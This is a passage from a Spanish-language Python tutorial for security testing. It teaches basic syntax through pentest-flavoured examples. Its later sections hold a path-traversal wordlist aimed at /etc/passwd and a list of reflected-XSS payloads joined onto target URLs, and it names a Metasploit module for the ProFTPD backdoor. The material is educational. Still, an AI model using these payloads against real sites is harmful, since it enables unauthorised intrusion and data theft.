head_http = " POST / HTTP/1.1 \n Host: [Link] \n conection: keep-alive"
print(head_http)
POST / HTTP/1.1
Host: [Link]
conection: keep-alive
Ejemplo:
In [40]:
sitio = "HTTP://[Link]"
print([Link]())
[Link]
Ejemplo:
In [41]:
sitio = "esto es un texto!"
print([Link]())
ESTO ES UN TEXTO!
27
Función str(): convierte una variable a tipo texto.
Ejemplo:
In [42]:
puerto = 8080
str(puerto)
Out[42]:
'8080'
In [43]:
type(str(puerto)) # verificamos el tipo de dato al aplicar str()
Out[43]:
str
En el ejemplo podemos verificar que ingresamos una variable numérica y la convertimos en texto. Función
replace(): esta función permite buscar una cadena de texto y modificarla.
Ejemplo:
In [44]:
buscar = "[Link]"
reemplazar = "[Link]"
texto = "[*] Intentando el ataque a [Link] ..."
print([Link](buscar,reemplazar))
En el ejemplo anterior se entiende que la función replace, el primer parámetro recibe lo que se desea buscar
(puede ser palabra o letra) y el segundo parámetro es el texto que se desea reemplazar. Es decir busca el
dominio [Link] y reemplázalo por [Link].
Función count(): esta función permite saber cuántas veces se repite una letra o texto en una variable.
Ejemplo:
In [45]:
sitio = "[Link]"
print([Link]('w'))
28
Si en algún momento tenemos problemas al utilizar caracteres extraños en nuestro programa y nos sale un
error parecido a este.
Debemos incluir en nuestro programa la siguiente instrucción en la cabecera o primera línea de código:
Números en Python
Tipo Enteros
Cuando hablamos de enteros o integer, si queremos ponernos internacionales, nos referimos a valores
numéricos positivos y negativos… así tal cual: {…, -3, -2, -1, 0, 1, 2, 3, …}. Lo importante es que no tienen
decimales.
En Python, los enteros son bastante amigables… uno escribe el número y listo… el intérprete lo entiende sin
mayor ceremonia. Es como si Python dijera : ya, dale… yo me hago cargo, mientras tú sigues avanzando en
el Notebook con tu café medio helado.
Los enteros son la base para un montón de operaciones: desde contar resultados… hasta manejar puertos
de red… o revisar cuántas veces Tom decidió subirse al teclado hoy (que suele ser un número entero
sorprendentemente alto…).
Y lo bueno es que dentro del mundo StarHacks, trabajar con enteros se siente casi como mover pequeños
droides numéricos de un lado a otro… simples, obedientes, y siempre listos para marchar cuando les das
una orden.
In [46]:
port = 22
type(port)
Out[46]:
int
Tipo Flotante
29
Los números reales, los que llevan decimales... aparecen en Python bajo el tipo float. Son útiles cuando
necesitas precisión… cómo medir distancias, velocidades… o ese momento exacto 7.3 segundos más o
menos.... en que Otto se quedaba mirando un punto en la pared como si hubiese detectado un bug en la
simulación del universo. Uno lo veía así… tan concentrado… que por un segundo hasta dudabas si Python
realmente era interpretado… o si tú eras el interpretado.
En Python basta con escribir el número con punto decimal… y el intérprete lo reconoce de inmediato como
un flotante. Simple…... elegante… y con ese toque matemático que hace que todo tenga un poco más de
sentido.
In [47]:
entero = 0.44444449
print(entero, type(entero))
#convertir a float
float(2)
Out[47]:
2.0
Devuélvele una representación hexadecimal de un número int
In [48]:
hex(10)
Out[48]:
'0xa'
Tipo Hexadecimal
El sistema hexadecimal trabaja con base 16… y en Python podemos representar un número en este formato
usando el prefijo 0x. Es muy común cuando uno se mueve por temas de redes, memoria, direcciones o
cualquier cosa que tenga ese toque más “bajo nivel”.
De hecho, cada vez que ves un valor raro como 0xff o 0x1a3f, suena inmediatamente a algo que está más
cerca del hardware que del mundo bonito de Python.
In [49]:
entero = 0x77
print(int(entero))
entero = 119
print(hex(119))
30
119
0x77
Nuevamente vemos una función útil: hex(). Esta función convierte una variable numérica a su representación
en hexadecimal… lo que es muy práctico cuando estamos trabajando con datos de bajo nivel o necesitamos
inspeccionar valores en formatos específicos.
In [50]:
texto= 'A'.encode('utf-8') # formatear texto byte codificado en utf-8
print(texto)
print(type(texto))
b'A'
<class 'bytes'>
In [51]:
hex_str = [Link]()#
print(hex_str)
print(type(hex_str))
41
<class 'str'>
Operadores Aritméticos
Antes de seguir avanzando con Python, vale la pena revisar los operadores aritméticos… esas piezas
básicas que nos permiten sumar, restar, multiplicar, dividir y hacer cálculos dentro de un programa.
Son herramientas simples… pero fundamentales. Si pensamos en Python como nuestro cuaderno galáctico
de trabajo, los operadores aritméticos serían como los controles esenciales del tablero… los que usamos
todo el tiempo sin darnos cuenta.
A continuación, veremos una tabla con los operadores más importantes… para tenerlos a mano y entender
rápidamente qué hace cada uno.
31
Valores Boléanos
El siguiente ejemplo lo vamos a trabajar pensando en dos comparaciones unidas por la conjunción AND… o
“Y”, como la conocemos en español. Los valores booleanos, True y False... son la base de muchas
decisiones dentro de un programa… y entender cómo se comportan con operadores lógicos nos ayuda
bastante cuando más adelante estemos construyendo condiciones, filtros o validaciones.
In [52]:
True and False
Out[52]:
False
In [53]:
False and False
Out[53]:
False
In [54]:
False and False
Out[54]:
False
In [55]:
True and True
32
Out[55]:
True
Las conjunciones con la palabra reservada and significan que se debe realizar una multiplicación:
● 1 significa verdadero
● 0 significa falso.
In [56]:
True or False
Out[56]:
True
In [57]:
False or True
Out[57]:
True
In [58]:
True or True
Out[58]:
True
In [59]:
False or False
Out[59]:
False
33
Operadores Relacionales
Muchas veces vamos a tener que comparar dos o más valores, python nos entrega la siguiente herramienta:
Ahora que tenemos claro los posibles resultados, vamos a realizar un ejemplo con lo aprendido hasta ahora:
In [61]:
ip = "[Link]"
puerto = 22
conexion = True
if conexion:
print("Conectando a la ip" + ip + " Puerto " + str(puerto))
En las primeras líneas del código se declara la variable ip, puerto y conexión… luego se evalúa si conexión
es Verdadera. Si lo es, Python imprime en pantalla el mensaje: “conectando a la ip [Link] puerto 443”.
El ejemplo es súper sencillo… pero suficiente para mostrar para qué nos sirve todo lo que hemos visto hasta
ahora. En el ámbito de la seguridad informática, es muy común que tengamos que verificar condiciones,
validar estados… o comparar mensajes antes de mostrarlos por pantalla.
Agrupación de Datos
Muchas veces, cuando estamos programando… necesitamos guardar varios datos dentro de una sola
variable para luego listarlos, compararlos o trabajar con ellos. La idea es parecida a una bodega: la memoria
RAM sería la bodega… y los datos que guardamos son las cosas que entran y salen según lo que
necesitemos.
34
Python nos ofrece tres formas principales de trabajar con agrupación de variables:
● Tuplas
● Listas
● Diccionarios
Tuplas
Las tuplas son listas inmutables… lo que significa que no pueden modificarse después de ser creadas. Si
defines una tupla, los valores quedan tal cual… fijos… como si hubieras dejado tus datos sellados dentro de
un contenedor.
Para definir una tupla escribimos el nombre de la variable… el signo igual… y entre paréntesis () los valores
separados por comas.
Ejemplo:
In [62]:
mi_tupla = ("[Link]",80,"[Link]",21)
En la imagen se puede apreciar que una tupla puede almacenar múltiples tipos de variables sin ningún
problema. Para acceder a los valores guardados, basta con escribir el nombre de la tupla acompañado de
[]… y dentro, la posición que queremos consultar.
Ejemplo:
In [63]:
print(mi_tupla[0])
[Link]
In [64]:
print(mi_tupla[1])
80
In [65]:
print(mi_tupla[2])
[Link]
In [66]:
print(mi_tupla[3])
35
21
In [67]:
print(mi_tupla[0:4])
In [68]:
print(mi_tupla[0:3])
In [69]:
print(mi_tupla[3:])
(21,)
En el siguiente ejemplo comprobamos que no se pueden asignar nuevos valores a las tuplas… porque son
inmutables. En palabras simples, una vez que las defines… quedan así para siempre. No puedes cambiarlas.
Es un concepto tan rígido que uno casi siente que si existieran en el mundo real, trabajarían en el Registro
Civil… o serían parte del Consejo Jedi, donde las reglas son claras y casi nunca cambian… aunque uno
quisiera.
In [70]:
mi_tupla[3] = "[Link]"
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
Cell In[70], line 1
----> 1 mi_tupla[3] = "[Link]"
TypeError: 'tuple' object does not support item assignment
Listas
Las listas, a diferencia de las tuplas, pueden modificarse libremente después de ser creadas. Podemos
agregar nuevos valores… eliminar los que ya no sirven… buscar elementos… o actualizar lo que tengamos
guardado. Son estructuras mucho más flexibles… casi como una mochila donde vas metiendo cosas según
lo que necesites en el momento.
La sintaxis es muy similar a las tuplas, pero aquí usamos corchetes [] en lugar de paréntesis.
Ejemplo:
36
In [71]:
lista = ['[Link]', 80, '[Link]', 21]
In [72]:
print(lista[0])
[Link]
In [73]:
print(lista[1])
80
In [74]:
print(lista[2])
[Link]
In [75]:
print(lista[3])
21
In [76]:
print(lista[-1])
21
In [77]:
print(lista[-2])
[Link]
In [78]:
print(lista[-3])
80
Como se ve en la imagen los índices negativos se accede a los datos de izquierda a derecha.
Agregar elementos
La forma de agregar elementos a una lista es utilizando el método append() , insert() y extend().
37
El Método append() agrega el elemento al final de la fila.
In [79]:
[Link]("[Link]")
In [80]:
lista
Out[80]:
['[Link]', 80, '[Link]', 21, '[Link]']
In [81]:
[Link](3,"[Link]")
In [82]:
lista
Out[82]:
['[Link]', 80, '[Link]', '[Link]', 21, '[Link]']
In [83]:
nueva_lista = ["[Link]",443]
[Link](nueva_lista)
In [84]:
print(lista)
Para eliminar elementos en una lista python nos entrega el método remove() y su uso es de la siguiente
forma:
In [85]:
[Link]("[Link]")
[Link](80)
[Link]("[Link]")
[Link](21)
In [86]:
print(lista)
38
['[Link]', '[Link]', '[Link]', 443]
Si necesitamos saber si en la lista existe un valor en específico, podemos utilizar el método index(). Su
uso es de la siguiente forma:
In [87]:
[Link]("[Link]")
Out[87]:
0
In [88]:
[Link]("[Link]")
Out[88]:
2
Como nos damos cuenta en la imagen anterior se nos indica la posición del índice donde se encuentra la
variable. Pero qué pasa si buscamos un valor que ya no se encuentre en la lista.
In [89]:
[Link]("[Link]")
---------------------------------------------------------------------------
ValueError Traceback (most recent call last)
Cell In[89], line 1
----> 1 [Link]("[Link]")
In [90]:
"[Link]" in lista
Out[90]:
False
In [91]:
"[Link]" in lista
Out[91]:
True
39
● En la variable lista existe un valor de tipo texto que contiene “[Link]”, la función in retornara un
valor False.
● En la variable lista existe un valor de tipo texto que contiene “[Link].77”, la función in retornara
un valor True.
Ejemplo:
In [92]:
puertos = [21,22,80,139,443,445]
In [93]:
puertos + [8080,3306]
Out[93]:
[21, 22, 80, 139, 443, 445, 8080, 3306]
Uso de yield
Muchas veces, cuando estamos desarrollando, necesitamos trabajar con grandes cantidades de datos… tan
grandes que si los cargáramos completos en memoria, el script se pondría lento… o derechamente dejaría
de funcionar. Para estos casos existe yield, una herramienta muy útil que nos permite recorrer los datos uno
a uno, sin necesidad de cargar una lista enorme de golpe.
En simple… yield actúa como un generador. Cada vez que el programa lo necesita, entrega el siguiente
valor… y así evita ocupar memoria extra. Es una forma elegante y eficiente de procesar conjuntos de datos
grandes… casi como pasar página por página en lugar de abrir un libro entero de una vez.
Ejemplo:
In [94]:
def filter_valid_ips(ip_list):
for ip in ip_list:
if is_valid_ip(ip):
yield ip
Creamos una función que recorra un conjunto de ips y las vaya evaluando una a uno si son ips válidas.
40
In [95]:
def is_valid_ip(ip):
try:
ip = ipaddress.ip_address(ip)
return True
except ValueError:
return False #
Ahora generamos una lista de IPS, las validamos con nuestra función y finalmente solo guardamos las IPS
que son válidas con la mayor eficiencia posible sin necesidad de cargar todos los registros en memoria.
In [96]:
import ipaddress
[Link]
[Link]
[Link]
Diccionarios
Un diccionario es parecido a una lista… pero funciona con otra lógica. En vez de acceder a un dato usando
un índice numérico, lo hacemos usando una palabra clave. Cada clave apunta a un valor… como si fuera
una etiqueta muy clara que nos dice exactamente qué estamos buscando. Es una estructura súper útil
cuando necesitamos organizar información de manera más descriptiva.
Otra diferencia importante es la sintaxis: mientras las listas usan [], los diccionarios se definen con {}… algo
así como una pequeña caja donde cada elemento está guardado junto a su nombre.
Ejemplo:
In [97]:
conexion = {"origen":"[Link]","destino":"[Link]"}
In [98]:
print(conexion["origen"])
[Link]
In [99]:
print(conexion["destino"])
41
[Link]
Como se puede apreciar en la imagen anterior, cada par de clave: valor van con dos puntos (:) entre medio y
se separan por el símbolo coma (,). Para ver los valores de un diccionario se debe escribir el nombre de la
clave entre corchetes.
Para eliminar una entrada se debe utilizar la función del() de la siguiente manera:
In [ ]:
conexion
Out[ ]:
{'origen': '[Link]', 'destino': '[Link]'}
In [100]:
del(conexion["destino"])
In [101]:
conexion
Out[101]:
{'origen': '[Link]'}
Para volver a asignar un dato dentro de un diccionario se realiza de la siguiente forma:
In [102]:
conexion["destino"] = "[Link]"
In [103]:
conexion
Out[103]:
{'origen': '[Link]', 'destino': '[Link]'}
Ahora utilicemos un diccionario pensando en un objeto con distintos atributos. El objeto va a ser un sitio Web
y sus atributos van a ser las tecnologías utilizadas:
In [104]:
target = {}
target = {"host":"[Link]", "Server":"Apache 2.2.1", "S.O":"Ubuntu Server 12"}
In [105]:
print("[-] La Dominio es :" + target["host"])
print("[-] El Servidor es :" + target["Server"])
print("[-] El S.O es :" + target["S.O"])
42
[-] La Dominio es :[Link]
[-] El Servidor es :Apache 2.2.1
[-] El S.O es :Ubuntu Server 12
Con este ejemplo nos damos cuenta de que utilizar diccionarios tiene sentido cuando tratamos de programar
lo más parecido a como nosotros, los humanos, procesamos las cosas. Si queremos saber el número de
elementos que tiene un diccionario utilizamos la función len()
In [106]:
len(target)
Out[106]:
3
Si queremos saber qué palabras claves tiene un diccionario utilizamos la función keys()
In [107]:
[Link]()
Out[107]:
dict_keys(['host', 'Server', 'S.O'])
Si queremos conocer solamente los valores de un diccionario utilizamos la función values()
In [108]:
[Link]()
Out[108]:
dict_values(['[Link]', 'Apache 2.2.1', 'Ubuntu Server 12'])
In [109]:
[Link]("host")
Out[109]:
'[Link]'
Para eliminar un valor según su clave se utiliza la función pop() y valor clave
In [110]:
[Link]("host")
Out[110]:
'[Link]'
43
In [111]:
target
Out[111]:
{'Server': 'Apache 2.2.1', 'S.O': 'Ubuntu Server 12'}
Para copiar un diccionario utilizaremos la función copy()
In [112]:
copia_target = [Link]()
In [113]:
copia_target
Out[113]:
{'Server': 'Apache 2.2.1', 'S.O': 'Ubuntu Server 12'}
Para transformar a tuplas las claves: valores del diccionario podemos utilizar la función ítems()
In [114]:
[Link]()
Out[114]:
dict_items([('Server', 'Apache 2.2.1'), ('S.O', 'Ubuntu Server 12')])
In [115]:
[Link]()
target
Out[115]:
{}
In [116]:
len(target)
Out[116]:
0
Asignación Múltiple
Python tiene varias comodidades… y una de ellas es la asignación múltiple, que nos permite entregar varios
valores a varias variables en una sola línea de código. Es decir… podemos extraer valores desde una lista,
44
una tupla, o simplemente desde una serie de valores separados por coma… y repartirlos de inmediato en
variables distintas.
Es práctico… limpio… y ayuda a que el código se vea más ordenado, sobre todo cuando necesitamos
inicializar varias cosas a la vez.
In [117]:
url,directory = "[Link]","/admin"
In [118]:
print(url)
print(directory)
[Link]
/admin
Ahora veamos un ejemplo donde usaremos una lista para hacer una asignación múltiple.
Ejemplo Listas:
In [119]:
lista = ["[Link]","http",80]
In [ ]:
ip,protocolo,puerto = lista
In [120]:
print(ip)
print(protocolo)
print(puerto)
[Link]
https://
22
En el código fuente, se puede apreciar que las variables de la Lista pasan directamente a las tres variables
que se encuentran en la izquierda según su orden; ip, protocolo, puerto. Esto es lo mismo que escribir:
Ip = “[Link]”
Protocolo = “http”
Puerto = 80
Si se utiliza esta sintaxis con inteligencia, se puede hacer códigos mucho más limpios y resumidos.
Unión y división de cadenas de texto
Python nos entrega funciones tanto para unir cadenas de texto como para separar. En los siguientes
ejemplos veremos cómo se realizan estas tareas.
45
Método join()
Para unir cadenas de texto podemos utilizar el método join() que nos ayuda a dar formato a un texto en
particular.
In [121]:
tupla = ("[Link]","admin")
unir = "/"
sitio = [Link](tupla)
print(sitio)
[Link]/admin
También se podría completar este ejercicio con la siguiente forma para ser usado por un request:
In [122]:
http ="[Link]
https ="[Link]
In [123]:
print(http+sitio)
print(https+sitio)
[Link]
[Link]
In [124]:
tupla = ("[Link]
sitio = "".join(tupla)
print(sitio)
[Link]
Este código es un poco parecido al ejemplo anterior, solo que en vez de definir una tupla, se ingresa
directamente como parámetro los valores a la función join().
In [125]:
"-".join("1234567890")
Out[125]:
'1-2-3-4-5-6-7-8-9-0'
46
En este ejemplo se puede ver que si se ingresa como parámetro una cadena de texto a la función join(), esta
separará cada carácter por el texto que nosotros le indiquemos.
En este ejemplo une una cadena de texto que representa la conexión a una base de datos:
In [126]:
db = ["server=[Link]","database=rrhh","user=root","password="]
In [127]:
conn = ";".join(db)
print(conn)
server=[Link];database=rrhh;user=root;password=
Método split()
El método split() sirve para separar una cadena por medio de algún parámetro que le pasemos (cadena
de textos).
In [128]:
sitio_web = "[Link]/admin/controller/user/setname"
In [129]:
sitio_web.split("/")
Out[129]:
['[Link]', 'admin', 'controller', 'user', 'setname']
La salida de split es una lista que se accede a cada valor por su índice.
In [130]:
salida = sitio_web.split("/")
type(salida)
Out[130]:
list
En el código anterior se comprueba que el método split() retorna una lista con los valores separados.
Otra forma en que se puede utilizar este método es en una sola línea de código:
In [131]:
"[Link]/admin/controller/user/setname".split("/")
47
Out[131]:
['[Link]', 'admin', 'controller', 'user', 'setname']
Desde el punto de vista de Pentesting, es súper útil poder tomar cadenas de texto y dividirlas a conveniencia
para poder ejecutar un ataque específico, en este caso sería dividir el path de una aplicación para
posteriormente preparar por ejemplo un ataque de adivinación de directorios. Obviamente, existen más
casos donde es útil usar la función split() y queda a imaginación del Hacker en qué casos la utiliza.
Método splitlines()
El método splitlines() nos sirve para separar una cadena de texto que contiene varias líneas.
In [132]:
diccionario = """/etc/passwd
../etc/passwd
../../etc/passwd
../../etc/passwd
../../../etc/passwd
"""
[Link]()
Out[132]:
['/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd']
Si queremos por ejemplo aplicar este ejercicio a formar URL que busquen transversal directory en una
aplicación web se realizaría de la siguiente manera:
In [133]:
sitio = "[Link]
target = [Link]("=")
In [134]:
target
Out[134]:
['[Link] '[Link]']
Al realizar la primera conversión del sitio para emular un ataque, intentaremos dividir la URL con el target
donde se recibe el parámetro de entrada y separarla del payload para poder ingresar nuestro diccionario.
48
In [135]:
for payload in [Link]():
print(target[0] + "=" + payload)
[Link]
[Link]
[Link]
[Link]
[Link]
En caso, por ejemplo, de querer buscar un XSS reflejado en una URL, se podría hacer con una lista de
payload de la siguiente manera:
In [136]:
payloads = """"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t><img src =q onerror=prompt(8)>
<svg onload=alert(1)>
"><svg onload=alert(1)//
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
"""
[Link]()
Out[136]:
['"-prompt(8)-"',
"'-prompt(8)-'",
'";a=prompt,a()//',
"';a=prompt,a()//",
'\'-eval("window[\'pro\'%2B\'mpt\'](8)")-\'',
'"-eval("window[\'pro\'%2B\'mpt\'](8)")-"',
'"onclick=prompt(8)>"@x.y',
'"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y',
'<image/src/onerror=prompt(8)>',
'<img/src/onerror=prompt(8)>',
'<image src/onerror=prompt(8)>',
'<img src/onerror=prompt(8)>',
'<image src =q onerror=prompt(8)>',
49
'<img src =q onerror=prompt(8)>',
'</scrip</script>t><img src =q onerror=prompt(8)>',
'<svg onload=alert(1)>',
'"><svg onload=alert(1)//',
'"onmouseover=alert(1)//',
'"autofocus/onfocus=alert(1)//',
"'-alert(1)-'"]
Una vez realizada la lista de Payload a inyectar en parámetros de entrada, nos disponemos a separar la url
por partes:
In [137]:
sitio = "[Link]
target = [Link]("=")
Para unir la URL del sitio con los payload de XSS hacemos lo mismo que el ejercicio anterior:
In [138]:
for payload in [Link]():
print(target[0] + "=" + payload)
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link] src/onerror=prompt(8)>
[Link] src/onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] src =q onerror=prompt(8)>
[Link] onload=alert(1)>
[Link] onload=alert(1)//
[Link]
[Link]
[Link]
50
simple.... es la base para darle un poco de inteligencia a nuestros programas… simulando decisiones que en
la vida real tomamos de manera automática.
En Python, estas decisiones se expresan usando if, else y elif. Son parte fundamental del lenguaje, y
probablemente las vas a usar más veces de las que te imaginas.
if: La instrucción if (si…) sirve para verificar si una condición se cumple. Si la condición es verdadera…
Python ejecuta el bloque de código que viene después. Y sí… siempre termina con dos puntos : porque así
le indicamos a Python que lo que viene a continuación es el bloque que debe evaluar.
else: La instrucción else (de lo contrario…) acompaña al if cuando queremos manejar el caso opuesto. Es
decir… si la condición del if no se cumple, el código que está dentro del else será el que se ejecute. Y al igual
que if, también lleva el símbolo : al final.
Si pensamos en estas estructuras dentro del contexto StarHacks… funcionan un poco como esos momentos
donde decides qué camino tomar dependiendo de lo que está ocurriendo. Si hay conexión… haces una
cosa… si no, haces otra… como una toma de decisiones en miniatura dentro del programa.
Listo para que sigamos con elif o con el ejemplo cuando tú quieras.
if expresion:
tarea_a_realizar()
else:
tarea_a_realizar()
Para entender mejor cómo funcionan las condiciones en Python… imaginemos que estamos construyendo
un pequeño escáner de vulnerabilidades. La lógica es simple… el escáner se conecta a un puerto específico
y recibe un banner del servidor. Ese banner es como una tarjeta de presentación: nos dice qué servicio está
corriendo y... a veces, hasta la versión.
51
Ahora… si el banner que recibimos coincide con uno que tenemos guardado en nuestra base de datos, uno
marcado como vulnerable... entonces el programa escribirá en pantalla que ese puerto es vulnerable... Así
de directo.
Este tipo de comparación es muy común en seguridad informática… revisar, contrastar, validar… y tomar una
decisión a partir de esa información. Y ahí es donde entran if, elif y else: son los encargados de mover la
lógica, de decidir qué camino toma el programa… como un mini motor de decisiones dentro del script.
In [139]:
response = [21,"FTP","ProFTPD 1.3.1",True]
In [140]:
if "ProFTPD 1.3.3" in response[2]:
print("[*] Vulnerable ! ")
else:
print("[*] NO Vulnerable ! ")
[*] NO Vulnerable !
Ahora hagamos que el banner coincida para que nos diga la estructura de control que es vulnerable.
In [141]:
if "ProFTPD 1.3.1" in response[2]:
print("[*] Vulnerable ! ")
else:
print("[*] NO Vulnerable ! ")
[*] Vulnerable !
En caso de hacer un poco más completo, este ejercicio quedaría de la siguiente manera.
In [142]:
response = [21,"FTP","ProFTPD 1.3.1",True]
if response[3]:
if response[2] == "ProFTPD 1.3.1":
print("*"*60)
print("[-] The Service " + response[1] + " is Vulnerable!")
print("[-] Name: ProFTPD-1.3.3c Backdoor Command Execution")
print("[-] Exploit: exploit/unix/ftp/proftpd_133c_backdoor")
print("[-] Disclosure date: 2010-12-02")
print("*"*60)
else:
print("[-] The service " + response[1] + " is NOt Vulnerable!")
else:
print("[-] The Port is Close! ")
************************************************************
[-] The Service FTP is Vulnerable!
52
[-] Name: ProFTPD-1.3.3c Backdoor Command Execution
[-] Exploit: exploit/unix/ftp/proftpd_133c_backdoor
[-] Disclosure date: 2010-12-02
************************************************************
Lo primero que hace el programa es verificar el resultado dentro de una lista… específicamente el índice en
la posición 3. Ese valor nos indica si hubo conexión con el servidor… True o False. Es decir… si el escáner
logró conectarse o no.
Si la respuesta es True… el programa realiza una segunda comparación. Para eso toma el índice 2 de la
misma lista y revisa si el banner entregado por el servicio es igual (==) a ProFTPD 1.3.1. Si coincide…
imprimimos en pantalla el servicio auditado y el exploit que se puede lanzar para tomar control de la
máquina… todo muy directo.
Si la segunda comparación no coincide (else)… significa que no encontramos el banner esperado, por lo
tanto no sabemos si existe un exploit aplicable.
Y si el primer resultado fue False… es decir, si en la posición 3 venía un False… significa que no hubo
conexión con el servidor, por lo que no podemos continuar con la auditoría.
Cada una de estas decisiones va guiando el flujo del programa… casi como una pequeña cadena lógica que
nos dice qué camino seguir según lo que vamos encontrando.
elif: La instrucción elif (de lo contrario si) es parecida al if, la diferencia que sirve para seguir haciendo
comparaciones y lleva al final de la operación el símbolo(:).
if comparacion1:
print ("se cumplió la condición 1")
elif comparacion2:
print ("se cumplió la condición 2")
elif comparacion3:
print ("se cumplió la condicion3")
else:
print ("no tuvimos éxito en la comparación")
53
Un ejemplo para el uso de elif podría ser el pasar a revisar un puerto en específico en un escaneo de
servicios y al detectar que este puerto está activo, preparar un ataque en específico:
In [143]:
target = "[Link]"
puerto = 3389
print("[->] Traget : " + target)
if puerto == 21:
print("[->] Attack to FTP...")
elif puerto == 22:
print("[->] Attack to SSH...")
elif puerto == 23:
print("[->] Attack to TELNET...")
elif puerto == 80:
print("[->] Attack to HTTP...")
elif puerto == 443:
print("[->] Attack to HTTPS...")
elif puerto == 3306:
print("[->] Attack to MYSQL...")
elif puerto == 3389:
print("[->] Attack to RDP...")
elif puerto == 5432:
print("[->] Attack to PostgreSQL...")
else:
print("[->] Services Not Found...")
El script visto anteriormente como ejemplo, muestra una comparación múltiple para verificar que servicio
pudiese estar corriendo en un servidor solo indicando el número del puerto abierto, como únicamente
54
coincidió con la opción puerto == 3389 sé desplegó el mensaje que estaba identado dentro que es [->]
Attack to RDP...
Como habrán notado en los ejemplos vistos hasta ahora, los códigos fuentes son bastante ordenados en
forma y espacios entre las instrucciones. Una cosa muy necesaria en Python para usar estructura de control,
es respetar la identación o estructura gramatical, es decir, el intérprete de Python necesita que
después de un if, te saltes cuatro espacios o uses TAB(tabulador), posterior a esto se debe escribir lo que
necesites que se ejecute si la condición es correcta.
Para poder realizar otros tipos de tareas y complementar la instrucción if tenemos los siguientes Operadores:
55
Los Operadores de comparación o relacionales:
Cabe destacar que Python no tiene incluido dentro de su Core la función switch,
en su caso podemos reemplazar con la estructura de control elif.
Ejemplo:
In [144]:
print(""*60)
print("[-] Enter Attack Option :")
print("[-] 1 - Brute Force Attack :")
print("[-] 2 - Web Scanner :")
print("[-] 3 - Port Scanner :")
print(""*60)
num = int (input ("Enter Option: "))
if num == 1:
print("[->] Brute Force Attack -->...")
elif num == 2:
print("[->] Web Scanner -->...")
elif num == 3:
print("[->] Port Scanner -->...")
else:
print("[->] Option Not Found...")
Si son buenos observadores, se dieron cuenta de que en el ejercicio anterior se utilizó la función input()
56
Esta función permite capturar texto introducido por teclado y lo transforma a un string o cadena de texto, por
lo que es necesario transformarlo a número si se está usando con esa intención para trabajarlo dentro del
script.
In [145]:
resultado = input ("Enter Option: ")
type(resultado)
Out[145]:
str
In [146]:
resultado = input ("Enter Option: ")
type(resultado)
Out[146]:
str
Como se puede observar si se ingresa números o se ingresa texto, en los dos casos el objeto será un str.
Bucle While
La palabra reservada while nos permite ejecutar una acción de forma repetitiva, hasta que se cumpla una
condición determinada. Es decir… Python seguirá ejecutando el bloque asociado al while siempre que la
condición sea True… o verdadera.
Cuando definimos un while en nuestro código, es importante recordar que las iteraciones continuarán
mientras la condición se mantenga activa… así que hay que tener cuidado de no crear un bucle infinito que
deje todo detenido.
Sintaxis:
57
In [147]:
incrementador = 1
rango = 10
while incrementador <= rango:
print("[->] Attacking Target 192.168.1." + str(incrementador))
incrementador = incrementador + 1
La tercera línea se define la condición y se lee de la siguiente manera, mientras incrementador (valor 1) sea
menor (<) o igual (=) a rango (valor 10), repite lo que está dentro de la identación hasta que se cumpla la
condición y terminado por dos puntos (:) Procedemos a crear una identación de 4 espacios para marcar el
principio y el fin del ciclo while.
La cuarta línea se imprime en pantalla con cada iteración el mensaje variando solo la dirección IP. La cuarta
línea es muy importante, ya que se utiliza la variable incrementadora, que va sumando 1 con cada ciclo. Es
decir, la variable incrementadora vale 2 por qué se sumó incrementador que vale 1 + 1. El ciclo se repite
hasta que 10 <= 10.
La tercera línea del código establece la condición del ciclo. La lectura sería algo así: “mientras incrementador
(que parte en 1) sea menor o igual (<=) a rango (que vale 10), repite todo lo que está dentro de la
identación”. Y como siempre en Python… la línea termina con dos puntos : para indicar el inicio del bloque.
Después creamos una identación de 4 espacios, marcando el principio y el fin del ciclo while.
58
En la línea siguiente, el programa imprime un mensaje por pantalla en cada iteración… cambiando
únicamente la dirección IP. Esta parte es importante… porque usa la variable incrementadora para generar
ese cambio.
Luego, la variable incrementador se va actualizando con cada vuelta: primero vale 1… luego vale 2… luego
3… y así hasta llegar al punto donde la condición ya no se cumple. El ciclo termina exactamente en el
momento en que 10 <= 10 deja de ser verdadero.
Con esto podemos ver cómo funciona un bucle while… paso a paso… controlando cada iteración de manera
clara.
Una forma muy sencilla de entender un acumulador, es hacer el siguiente ejercicio en la Terminal.
In [148]:
acumulador = 1
print(acumulador)
In [149]:
acumulador = acumulador + 1
print(acumulador)
In [150]:
acumulador = acumulador + 1
print(acumulador)
In [151]:
acumulador += 1
print(acumulador)
In [152]:
ips = ['[Link]', '[Link]', '[Link]']
while ips:
print([Link]())
59
[Link]
[Link]
[Link]
In [153]:
print("elementos = "+ str(len(ips)))
elementos = 0
Comprobación que la lista llamada ips quedó vacía después de su recorrido con el loop usando pop(). Esta
forma se debe usar con precaución, ya que elimina los elementos de la lista.
Otro ejemplo donde se puede usar este loop es para contar intentos fallidos en un ataque de fuerza bruta.
In [154]:
intentos = 3
while intentos:
print("[!] Login Attempt Number " + str(intentos))
intentos -= 1
Bucle For
En Python, el bucle for tiene un enfoque distinto al que se ve en otros lenguajes más tradicionales. Aquí no
se limita solo a recorrer progresiones numéricas… sino que puede iterar sobre cualquier estructura iterable.
Eso incluye listas, tuplas, diccionarios, conjuntos… e incluso cadenas de texto.
El for toma cada elemento en orden… de izquierda a derecha… y ejecuta el bloque asociado tantas veces
como elementos existan. Uno no necesita manejar el índice de forma manual, a menos que quieras... porqué
Python se encarga de entregarte cada valor listo para usar. Es una forma ordenada, clara y muy natural de
recorrer datos.
60
Esta característica hace que el for sea una de las herramientas más útiles del lenguaje, especialmente
cuando estamos procesando colecciones completas, analizando resultados o leyendo información desde una
fuente externa.
